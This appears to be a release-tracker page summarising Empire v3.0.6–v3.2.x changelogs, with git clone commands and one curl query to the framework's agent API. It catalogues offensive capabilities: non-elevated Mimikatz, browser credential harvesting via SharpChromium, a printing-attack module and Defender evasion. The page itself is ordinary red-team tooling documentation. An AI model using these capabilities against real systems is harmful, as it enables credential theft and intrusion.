Added Invoke-PrintDemon module for printing-related attacks Not checked yet Added API endpoints for plugins Not checked yet
2 details in Everything
Empire v3.2.1 adds non-elevated Mimikatz execution capability
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.2.1 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.2.1
Adds option to run Mimikatz commands as a non-elevated user Not checked yet
1 detail in Everything
Empire v3.2.0 adds SharpChromium and BloodHound 3 modules, single-user API endpoint, and Python 3 conversion.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.2.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.2.0
Added SharpChromium module for credential harvesting from Chromium-based browsers Not checked yet Added BloodHound 3 module for Active Directory Active Directory Microsoft's directory service for Windows networks that centralises authentication and authorisation; cyber tools target or integrate with it because it controls identity and access across most enterprise environments. attack path attack path A possible sequence of steps an attacker could take to reach a valuable target. It connects weaknesses, permissions and reachable systems rather than treating each finding separately. visualization Not checked yet Adds prompt confirmation before running --reset script via the admin panel Not checked yet Converted python modules from Python 2 to Python 3 formatting Not checked yet
4 details in Everything
Empire v3.1.4 adds a reset flag to the launcher and updates payload evasion
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.1.4 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.1.4
Adds --reset flag to the empire launcher to clear previous state Not checked yet Updates payload evasion logic against Microsoft Defender Not checked yet
2 details in Everything
Empire v3.1.0 adds multi-user API collaboration, function aliasing, and an expanded API surface.
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.1.0 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.1.0
Adds Multi-user Collaboration support to the Empire API endpoint Not checked yet Adds function name aliasing capability to Invoke-Empire and Mimikatz listeners Not checked yet Expands overall API functionality for broader integration capabilities Not checked yet
3 details in Everything
Adds stale property to agents API and relaxes staging key length requirement
└──▷ GET THIS VERSION
copy
$ git clone --branch v3.0.6 https://github.com/BC-SECURITY/Empire.git
$ git checkout v3.0.6
└──▷ TRY IT
Check if an agent is considered stale via the REST API REST API A web API design style where clients interact with resources over HTTP using standard methods like GET, POST, and DELETE, giving cyber tools a predictable, language-agnostic way to integrate with external services.
copy
$ curl -k https://<empire-host>:1337/api/agents | jq '.results[].stale'
stale property now returned in the agents endpoint response Not checked yet Staging key validation relaxed to allow lengths other than exactly 32 characters Not checked yet
2 details in Everything